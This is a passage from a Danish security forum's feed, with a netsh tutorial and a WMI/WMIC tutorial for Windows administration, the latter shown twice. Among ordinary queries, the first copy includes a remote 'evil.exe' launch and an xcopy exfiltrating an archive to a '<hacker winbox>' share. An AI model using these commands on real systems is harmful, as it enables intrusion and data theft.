<blockquote class="mycode_quote"><cite>Citer:</cite>netsh interface show interface</blockquote>
<br />
Vi går fra netsh "rod" context, til "interface" context:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;netsh<br />
netsh&gt;interface<br />
netsh interface&gt;show<br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Arvede kommandoer fra konteksten netsh:<br />
show alias     - Viser alle definerede aliaser.<br />
show helper    - Viser alle hjælpeprogrammer på øverste niveau.<br />
show mode      - Viser den aktuelle tilstand.<br />
<br />
Kommandoer i denne kontekst:<br />
show interface - Viser grænseflader.<br />
netsh interface&gt;show interface<br />
<br />
Admin-tilst.   Tilstand       Type             Grænsefladenavn<br />
-------------------------------------------------------------------------<br />
Aktiveret      Forbindelsen er oprettet Dedikeret        VirtualBox Host-Only Network<br />
Deaktiveret    Afbrudt        Dedikeret        LAN-forbindelse 2<br />
Aktiveret      Afbrudt        Dedikeret        Trådløs netværksforbindelse<br />
Aktiveret      Forbindelsen er oprettet Dedikeret        LAN-forbindelse<br />
<br />
netsh interface&gt;exit<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
Man kan få context baseret hjælp ved at skrive "?". Man forlader en context med "..", og afsluttet netsh shell med "exit".<br />
Bemærk at "?" både viser nedarvede kommandoer, og kommandoer der kun kan bruges i den aktuelle context.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;<span style="font-weight: bold;" class="mycode_b">netsh</span><br />
netsh&gt;<span style="font-weight: bold;" class="mycode_b">interface</span><br />
netsh interface&gt;<span style="font-weight: bold;" class="mycode_b">?</span><br />
<br />
Følgende kommandoer er tilgængelige:<br />
<br />
Arvede kommandoer fra konteksten netsh:<br />
..             - Skifter et niveau op.<br />
abort          - Annullerer ændringer foretaget i offline-tilstand.<br />
add            - Føjer en konfigurationspost til en liste over poster.<br />
advfirewall    - Ændringer til 'netsh advfirewall'-konteksten.<br />
alias          - Tilføjer et alias.<br />
bridge         - Ændringer til 'netsh bridge'-konteksten.<br />
...<br />
winhttp        - Ændringer til 'netsh winhttp'-konteksten.<br />
winsock        - Ændringer til 'netsh winsock'-konteksten.<br />
wlan           - Ændringer til 'netsh wlan'-konteksten.<br />
<br />
Kommandoer i denne kontekst:<br />
6to4           - Ændringer til 'netsh interface 6to4'-konteksten.<br />
?              - Viser en liste over kommandoer.<br />
dump           - Viser et konfigurationsscript.<br />
help           - Viser en liste over kommandoer.<br />
...<br />
show           - Viser oplysninger.<br />
tcp            - Ændringer til 'netsh interface tcp'-konteksten.<br />
teredo         - Ændringer til 'netsh interface teredo'-konteksten.<br />
<br />
Følgende underkontekster er tilgængelige:<br />
 6to4 httpstunnel ipv4 ipv6 isatap portproxy tcp teredo<br />
<br />
For at se hjælp til en kommando skal du skrive kommandoen efterfulgt af<br />
et mellemrum og derefter skrive ?.<br />
<br />
netsh interface&gt;<span style="font-weight: bold;" class="mycode_b">..</span><br />
<br />
netsh&gt;<span style="font-weight: bold;" class="mycode_b">exit</span><br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Links:</span><br />
<a href="http://en.wikipedia.org/wiki/Netsh" target="_blank" rel="noopener" class="mycode_url">http://en.wikipedia.org/wiki/Netsh</a><br />
<a href="https://technet.microsoft.com/en-us/library/bb490939.aspx" target="_blank" rel="noopener" class="mycode_url">Microsoft TechNet - Netsh</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WMI - Windows Management Instrumentation - Et par eksempler]]></title>
			<link>https://www.shellsec.pw/traad-wmi-windows-management-instrumentation</link>
			<pubDate>Sun, 24 May 2015 20:40:08 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-wmi-windows-management-instrumentation</guid>
			<description><![CDATA[Her er en lille "Få blod på tanden" - intro til WMI. Det er et kanon godt værktøj, til at administrere Windows med.<br />
Jeg er ikke selv god til det, så det er også lidt en "note-to-selv".<br />
<br />
WMIC er WMI command &amp; scripting værktøj, der man mere end lidt af hvert. Uden at vide det, tror jeg det er meget overset, lige som Powershell og VBScripting. Det er selvfølgelig også interessant, hvis man får en shell på en windows maskine.<br />
<br />
Arbejde med brugere:<br />
Jeg opretter først en bruger ned "net", for at have noget at arbejde med. Det kan sikkert gøres med WMI også.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;net user hacker hacker /comment:"Test user" /add<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;net users<br />
<br />
Brugerkonti for \\ASUS<br />
<br />
-------------------------------------------------------------------------------<br />
Administrator            Gæst                     hacker<br />
xxxx                     UpdatusUser<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;<br />
<br />
C:\Windows\system32&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET Description<br />
Description<br />
Test user<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Man kan også se, hvad man kan vælge at se, ud over Description, ved at bruge et wildcard:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET *</blockquote>
<br />
Outputtet kan være lidt rodet, så man kan sætte en formatering på:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET * /Format:list<br />
<br />
AccountType=512<br />
Caption=asus\hacker<br />
Description=Test user<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=hacker<br />
PasswordChangeable=TRUE<br />
PasswordExpires=TRUE<br />
PasswordRequired=TRUE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1006<br />
SIDType=1<br />
Status=OK<br />
<br />
C:\&gt;</blockquote>
<br />
Man kan faktisk fjerne "/node:&lt;ip&gt;", men en af de smarte ting er, at man kan requeste disse informationer over lokalneværket.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic USERACCOUNT WHERE Name="hacker" GET * /Format:list</blockquote>
<br />
En remote request ville se således ud:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /user:administrator /password:&lt;admin password&gt; /node:10.0.0.2 USERACCOUNT WHERE Name="hacker" GET *</blockquote>
<br />
Hvis man ønsker at se alle brugere, kan man bruge følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic Useraccount GET /ALL /Format:list<br />
AccountType=512<br />
Caption=asus\xxxx<br />
Description=<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=mian<br />
PasswordChangeable=TRUE<br />
PasswordExpires=FALSE<br />
PasswordRequired=FALSE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1001<br />
SIDType=1<br />
Status=OK<br />
<br />
AccountType=512<br />
Caption=asus\UpdatusUser<br />
Description=Brugt til at give NVIDIA-softwareopdateringer<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=UpdatusUser<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=UpdatusUser<br />
PasswordChangeable=TRUE<br />
PasswordExpires=FALSE<br />
PasswordRequired=TRUE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1004<br />
SIDType=1<br />
Status=OK<br />
<br />
C:\&gt;</blockquote>
<br />
Den bruger vi lavede før, kan slettes med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;net user hacker /del<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
<br />
Hvis man vil undersøge Eventloggen, kan man også det.<br />
Vi kan først lige lave et Informations-event under Applications:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;eventcreate /t information /l application /id 925 /d "Some Description"<br />
<br />
LYKKEDES: Der blev oprettet en hændelse af typen 'information' i logfilen 'application' med 'EventCreate' som kilde.<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Det kan så undersøges med WMI med følgende: (Ja, det tager bare lang tid)<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic /node:127.0.0.1 NTEVENT WHERE EventIdentifier=925 GET Message<br />
Message<br />
Some Description<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Her kan man selvfølgelig også bruge * som wildcard, i stedet for Message, for at se alle felter. Yderligere kan man tilføje et output format:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic NTEVENT WHERE EventIdentifier=925 GET * /Format:list<br />
<br />
Category=0<br />
CategoryString=<br />
ComputerName=asus<br />
Data=<br />
EventCode=925<br />
EventIdentifier=925<br />
EventType=3<br />
InsertionStrings={"Some Description"}<br />
Logfile=Application<br />
Message=Some Description<br />
RecordNumber=2916083<br />
SourceName=EventCreate<br />
TimeGenerated=20150524163323.000000-000<br />
TimeWritten=20150524163323.000000-000<br />
Type=Oplysninger<br />
User=asus\mian<br />
<br />
C:\&gt;</blockquote>
<br />
Over netværk, ville det se således ud:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>wmic /user:administrator /password:&lt;admin passowrd&gt; /node:&lt;ip&gt; NTEVENT WHERE EventIdentifier=925 Get * /Format:list</blockquote>
<br />
Man kan også lave sub-queries:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic process WHERE (Caption="svchost.exe" AND ThreadCount=10) GET * /format:list<br />
<br />
Caption=svchost.exe<br />
CommandLine=C:\Windows\system32\svchost.exe -k DcomLaunch<br />
CreationClassName=Win32_Process<br />
CreationDate=20150521153146.471614+120<br />
CSCreationClassName=Win32_ComputerSystem<br />
CSName=ASUS<br />
Description=svchost.exe<br />
ExecutablePath=C:\Windows\system32\svchost.exe<br />
ExecutionState=<br />
Handle=828<br />
HandleCount=416<br />
InstallDate=<br />
KernelModeTime=311533997<br />
MaximumWorkingSetSize=1380<br />
MinimumWorkingSetSize=200<br />
Name=svchost.exe<br />
OSCreationClassName=Win32_OperatingSystem<br />
...</blockquote>
<br />
Som i kan se, får man hurtigt rigtig meget output. Man kan så vælge at sende output til en fil, i et bestemt format, ved hjælp af "/Format:" og "/output:".<br />
Nedenstående smider outputtet i filen svc.html, og som i kan se ud af /format:, så ER indholdet faktisk i html format.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /output:svc.html process where (Caption="svchost.exe" AND ThreadCount=10) get * /format:hform</blockquote>
Output filen kan så åbnes i din favorit browser med "file:///C:/svc.html".<br />
<br />
Man kan også se maskinens patchlevel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic qfe GET description,installedOn /format:list<br />
...<br />
Description=Service Pack<br />
InstalledOn=2/18/2011<br />
<br />
Description=Update<br />
InstalledOn=9/19/2014<br />
<br />
C:\&gt;</blockquote>
<br />
Hvis man synes det er bedre, kan man sende dette output ud på skærmen i cvs format:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic qfe GET description,installedOn /format:csv<br />
<br />
Node,Description,InstalledOn<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Security Update,3/31/2011<br />
ASUS,Security Update,3/31/2011<br />
ASUS,Security Update,3/31/2011<br />
...</blockquote>
<br />
Eller evt. til en fil, med argumentet "/Output", som vi så før.<br />
<br />
Vil man se udvalgte informationer om operativsystems processer, kan man prøve følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic Process GET caption,executablepath,commandline /Format:list<br />
...<br />
Caption=SearchFilterHost.exe<br />
CommandLine="C:\Windows\system32\SearchFilterHost.exe" 0 524 528 536 65536 532<br />
ExecutablePath=C:\Windows\system32\SearchFilterHost.exe<br />
<br />
Caption=WmiPrvSE.exe<br />
CommandLine=C:\Windows\system32\wbem\wmiprvse.exe<br />
ExecutablePath=C:\Windows\system32\wbem\wmiprvse.exe<br />
<br />
Caption=WMIC.exe<br />
CommandLine=wmic  Process GET caption,executablepath,commandline /Format:list<br />
ExecutablePath=C:\Windows\System32\Wbem\WMIC.exe<br />
<br />
C:\&gt;</blockquote>
<br />
Som altid, kan man se de felter man ønsker. Hvis man vil se det hele, kan man bruge * som et wildcard.<br />
<br />
Man kan også se services med WMI. Her ses den fulde sti til den ekesekverbare fil:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic.exe service GET pathname<br />
PathName<br />
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"<br />
C:\Windows\system32\svchost.exe -k netsvcs<br />
"C:\Windows\system32\FBAgent.exe"<br />
C:\Windows\System32\alg.exe<br />
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation<br />
...</blockquote>
<br />
Man kan også se alle services, formateret i en liste:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic.exe service GET * /Format:list<br />
...<br />
AcceptPause=FALSE<br />
AcceptStop=FALSE<br />
Caption=WWAN AutoConfig<br />
CheckPoint=0<br />
CreationClassName=Win32_Service<br />
Description=Denne tjeneste administrerer datakort eller integrerede modulkort for mobile bredbånd (GSM &amp;amp; CDMA) og forbindelser ved at konfigurere netværket a<br />
utomatisk. Det anbefales på det kraftigste, at denne tjeneste bliver ved med at køre for at opnå den bedste brugeroplevelse i forbindelse med mobile bredbåndsenh<br />
eder.<br />
DesktopInteract=FALSE<br />
DisplayName=WWAN AutoConfig<br />
ErrorControl=Normal<br />
ExitCode=1077<br />
InstallDate=<br />
Name=WwanSvc<br />
PathName=C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork<br />
ProcessId=0<br />
ServiceSpecificExitCode=0<br />
ServiceType=Share Process<br />
Started=FALSE<br />
StartMode=Manual<br />
StartName=NT Authority\LocalService<br />
State=Stopped<br />
Status=OK<br />
SystemCreationClassName=Win32_ComputerSystem<br />
SystemName=ASUS<br />
TagId=0<br />
WaitHint=0<br />
...</blockquote>
<br />
Her ses et udvalg af kolonner, formateret som en tabel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic.exe service GET ProcessId,Caption /Format:table<br />
Caption                                                                 ProcessId<br />
Adobe Acrobat Update Service                                            1860<br />
Application Experience                                                  0<br />
AFBAgent                                                                1224<br />
Gatewaytjeneste til programlaget                                        0<br />
Program-id                                                              0<br />
Programoplysninger                                                      548<br />
...</blockquote>
<br />
Man kan også starte nye processer. Ser ses, hvordan ping startes. Selve outputtet vil poppe op i et nyt kommandoprompt vindue:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic.exe process call create "ping -t google.dk"<br />
Executing (Win32_Process)-&gt;Create()<br />
Method execution successful.<br />
Out Parameters:<br />
instance of __PARAMETERS<br />
{<br />
        ProcessId = 10476;<br />
        ReturnValue = 0;<br />
};<br />
<br />
C:\&gt;</blockquote>
<br />
Så man man overveje hvad man kan bruge følgende til:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /NODE:&lt;ip&gt; process CALL create “evil.exe”</blockquote>
<br />
Eller måske:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /NODE:&lt;ip&gt; /user:”Domain\Administrator” /password:&lt;password&gt; process CALL create “xcopy “C:\\everything.rar” “\\&lt;hacker winbox&gt;\\C&#36;\\everything.rar”</blockquote>
<br />
Man kan også se hvad for noget software, der er installeret på maskinen:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic product list brief<br />
...<br />
Java Auto Updater                                                                {4A03706F-666A-4037-7777-5F2748764D10}  Java Auto Updater<br />
                                         Oracle Corporation          2.8.45.14<br />
Cisco Systems VPN Client 5.0.07.0440                                             {5FDC06BF-3D3D-4367-8FFB-4FAFCB61972D}  Cisco Systems VPN Client 5.0.07.0440<br />
                                         Cisco Systems, Inc.         5.0.7<br />
ASUS Power4Gear Hybrid                                                           {9B6239BF-4E85-4590-8D72-51E30DB1A9AA}  ASUS Power4Gear Hybrid<br />
                                         ASUS                        1.1.44<br />
SDFormatter                                                                      {179324FF-7B16-4BA8-9836-055CAAEE4F08}  SDFormatter<br />
                                         SD Association              4.0.0<br />
<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Eller de ting, der starter automatisk på maskinen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic startup list brief<br />
Caption                      Command                                                                                     User<br />
Sidebar                      %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun                                         NT AUTHORITY\LOKAL TJENESTE<br />
Sidebar                      %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun                                         NT AUTHORITY\NETVÆRKSTJENESTE<br />
TeraTerm Menu                TeraTerm Menu.lnk                                                                           asus\xxxx<br />
...<br />
IgfxTray                     "C:\Windows\system32\igfxtray.exe"                                                          Public<br />
HotKeysCmds                  "C:\Windows\system32\hkcmd.exe"                                                             Public<br />
Persistence                  "C:\Windows\system32\igfxpers.exe"                                                          Public<br />
iTunesHelper                 "C:\Program Files\iTunes\iTunesHelper.exe"                                                  Public<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Oversigt over partitioner:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic partition get name,bootable,size,type<br />
Bootable  Name                   Size          Type<br />
FALSE     Disk #0, Partition #0  26842497024   Installable File System<br />
TRUE      Disk #0, Partition #1  223213707264  Installable File System<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Oversigt over diskdrev:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic diskdrive get name,size,model<br />
Model                   Name                Size<br />
Samsung SSD 840 Series  \\.\PHYSICALDRIVE0  250056737280<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Informationer om netkort:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic nic get macaddress,description<br />
Description                                                   MACAddress<br />
WAN Miniport (SSTP)<br />
WAN Miniport (IKEv2)<br />
WAN Miniport (L2TP)<br />
WAN Miniport (PPTP)<br />
WAN Miniport (PPPOE)<br />
WAN Miniport (IPv6)<br />
WAN Miniport (Network Monitor)<br />
Qualcomm Atheros AR9002WB-1NG Wireless Network Adapter        74:2F:68:9C:7A:30<br />
WAN Miniport (IP)<br />
VirtualBox Host-Only Ethernet Adapter                         08:00:27:00:70:E1<br />
RAS Async Adapter<br />
Apple Mobile Device Ethernet<br />
VirtualBox Bridged Networking Driver Miniport<br />
Microsoft ISATAP-netværkskort<br />
Atheros AR8151 PCI-E Gigabit Ethernet Controller (NDIS 6.20)  14:DA:E9:C4:9F:21<br />
Deterministic Network Enhancer Miniport<br />
Microsoft Teredo Tunneling-adapter<br />
...<br />
Deterministic Network Enhancer Miniport                       12:8C:20:52:41:53<br />
Cisco Systems VPN Adapter for 64-bit Windows<br />
Deterministic Network Enhancer Miniport<br />
VirtualBox Bridged Networking Driver Miniport                 14:DA:E9:C4:9F:21<br />
VirtualBox Bridged Networking Driver Miniport                 74:2F:68:9C:7A:30<br />
Microsoft ISATAP-netværkskort<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Man kan også bruge WMIs prompt, ved at skrive "wmic" uden noget andet.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;wmic<br />
wmic:root\cli&gt;partition get name,bootable,size,type<br />
Bootable  Name                   Size          Type<br />
FALSE     Disk #0, Partition #0  26842497024   Installable File System<br />
TRUE      Disk #0, Partition #1  223213707264  Installable File System<br />
<br />
wmic:root\cli&gt;exit<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
<br />
Links:<br />
<a href="http://en.wikipedia.org/wiki/Windows_Management_Instrumentation" target="_blank" rel="noopener" class="mycode_url">http://en.wikipedia.org/wiki/Windows_Man...umentation</a>]]></description>
			<content:encoded><![CDATA[Her er en lille "Få blod på tanden" - intro til WMI. Det er et kanon godt værktøj, til at administrere Windows med.<br />
Jeg er ikke selv god til det, så det er også lidt en "note-to-selv".<br />
<br />
WMIC er WMI command &amp; scripting værktøj, der man mere end lidt af hvert. Uden at vide det, tror jeg det er meget overset, lige som Powershell og VBScripting. Det er selvfølgelig også interessant, hvis man får en shell på en windows maskine.<br />
<br />
Arbejde med brugere:<br />
Jeg opretter først en bruger ned "net", for at have noget at arbejde med. Det kan sikkert gøres med WMI også.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;net user hacker hacker /comment:"Test user" /add<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;net users<br />
<br />
Brugerkonti for \\ASUS<br />
<br />
-------------------------------------------------------------------------------<br />
Administrator            Gæst                     hacker<br />
xxxx                     UpdatusUser<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;<br />
<br />
C:\Windows\system32&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET Description<br />
Description<br />
Test user<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Man kan også se, hvad man kan vælge at se, ud over Description, ved at bruge et wildcard:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET *</blockquote>
<br />
Outputtet kan være lidt rodet, så man kan sætte en formatering på:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET * /Format:list<br />
<br />
AccountType=512<br />
Caption=asus\hacker<br />
Description=Test user<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=hacker<br />
PasswordChangeable=TRUE<br />
PasswordExpires=TRUE<br />
PasswordRequired=TRUE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1006<br />
SIDType=1<br />
Status=OK<br />
<br />
C:\&gt;</blockquote>
<br />
Man kan faktisk fjerne "/node:&lt;ip&gt;", men en af de smarte ting er, at man kan requeste disse informationer over lokalneværket.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic USERACCOUNT WHERE Name="hacker" GET * /Format:list</blockquote>
<br />
En remote request ville se således ud:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /user:administrator /password:&lt;admin password&gt; /node:10.0.0.2 USERACCOUNT WHERE Name="hacker" GET *</blockquote>
<br />
Hvis man ønsker at se alle brugere, kan man bruge følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic Useraccount GET /ALL /Format:list<br />
AccountType=512<br />
Caption=asus\xxxx<br />
Description=<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=mian<br />
PasswordChangeable=TRUE<br />
PasswordExpires=FALSE<br />
PasswordRequired=FALSE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1001<br />
SIDType=1<br />
Status=OK<br />
<br />
AccountType=512<br />
Caption=asus\UpdatusUser<br />
Description=Brugt til at give NVIDIA-softwareopdateringer<br />
Disabled=FALSE<br />
Domain=asus<br />
FullName=UpdatusUser<br />
InstallDate=<br />
LocalAccount=TRUE<br />
Lockout=FALSE<br />
Name=UpdatusUser<br />
PasswordChangeable=TRUE<br />
PasswordExpires=FALSE<br />
PasswordRequired=TRUE<br />
SID=S-1-5-21-3146295476-1160783222-2073417647-1004<br />
SIDType=1<br />
Status=OK<br />
<br />
C:\&gt;</blockquote>
<br />
Den bruger vi lavede før, kan slettes med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;net user hacker /del<br />
Kommandoen blev udført.<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
<br />
Hvis man vil undersøge Eventloggen, kan man også det.<br />
Vi kan først lige lave et Informations-event under Applications:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;eventcreate /t information /l application /id 925 /d "Some Description"<br />
<br />
LYKKEDES: Der blev oprettet en hændelse af typen 'information' i logfilen 'application' med 'EventCreate' som kilde.<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Det kan så undersøges med WMI med følgende: (Ja, det tager bare lang tid)<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic /node:127.0.0.1 NTEVENT WHERE EventIdentifier=925 GET Message<br />
Message<br />
Some Description<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Her kan man selvfølgelig også bruge * som wildcard, i stedet for Message, for at se alle felter. Yderligere kan man tilføje et output format:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic NTEVENT WHERE EventIdentifier=925 GET * /Format:list<br />
<br />
Category=0<br />
CategoryString=<br />
ComputerName=asus<br />
Data=<br />
EventCode=925<br />
EventIdentifier=925<br />
EventType=3<br />
InsertionStrings={"Some Description"}<br />
Logfile=Application<br />
Message=Some Description<br />
RecordNumber=2916083<br />
SourceName=EventCreate<br />
TimeGenerated=20150524163323.000000-000<br />
TimeWritten=20150524163323.000000-000<br />
Type=Oplysninger<br />
User=asus\mian<br />
<br />
C:\&gt;</blockquote>
<br />
Over netværk, ville det se således ud:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>wmic /user:administrator /password:&lt;admin passowrd&gt; /node:&lt;ip&gt; NTEVENT WHERE EventIdentifier=925 Get * /Format:list</blockquote>
<br />
Man kan også lave sub-queries:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic process WHERE (Caption="svchost.exe" AND ThreadCount=10) GET * /format:list<br />
<br />
Caption=svchost.exe<br />
CommandLine=C:\Windows\system32\svchost.exe -k DcomLaunch<br />
CreationClassName=Win32_Process<br />
CreationDate=20150521153146.471614+120<br />
CSCreationClassName=Win32_ComputerSystem<br />
CSName=ASUS<br />
Description=svchost.exe<br />
ExecutablePath=C:\Windows\system32\svchost.exe<br />
ExecutionState=<br />
Handle=828<br />
HandleCount=416<br />
InstallDate=<br />
KernelModeTime=311533997<br />
MaximumWorkingSetSize=1380<br />
MinimumWorkingSetSize=200<br />
Name=svchost.exe<br />
OSCreationClassName=Win32_OperatingSystem<br />
...</blockquote>
<br />
Som i kan se, får man hurtigt rigtig meget output. Man kan så vælge at sende output til en fil, i et bestemt format, ved hjælp af "/Format:" og "/output:".<br />
Nedenstående smider outputtet i filen svc.html, og som i kan se ud af /format:, så ER indholdet faktisk i html format.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /output:svc.html process where (Caption="svchost.exe" AND ThreadCount=10) get * /format:hform</blockquote>
Output filen kan så åbnes i din favorit browser med "file:///C:/svc.html".<br />
<br />
Man kan også se maskinens patchlevel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic qfe GET description,installedOn /format:list<br />
...<br />
Description=Service Pack<br />
InstalledOn=2/18/2011<br />
<br />
Description=Update<br />
InstalledOn=9/19/2014<br />
<br />
C:\&gt;</blockquote>
<br />
Hvis man synes det er bedre, kan man sende dette output ud på skærmen i cvs format:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic qfe GET description,installedOn /format:csv<br />
<br />
Node,Description,InstalledOn<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Update,9/19/2014<br />
ASUS,Security Update,3/31/2011<br />
ASUS,Security Update,3/31/2011<br />
ASUS,Security Update,3/31/2011<br />
...</blockquote>
<br />
Eller evt. til en fil, med argumentet "/Output", som vi så før.<br />
<br />
Vil man se udvalgte informationer om operativsystems processer, kan man prøve følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic Process GET caption,executablepath,commandline /Format:list<br />
...<br />
Caption=SearchFilterHost.exe<br />
CommandLine="C:\Windows\system32\SearchFilterHost.exe" 0 524 528 536 65536 532<br />
ExecutablePath=C:\Windows\system32\SearchFilterHost.exe<br />
<br />
Caption=WmiPrvSE.exe<br />
CommandLine=C:\Windows\system32\wbem\wmiprvse.exe<br />
ExecutablePath=C:\Windows\system32\wbem\wmiprvse.exe<br />
<br />
Caption=WMIC.exe<br />
CommandLine=wmic  Process GET caption,executablepath,commandline /Format:list<br />
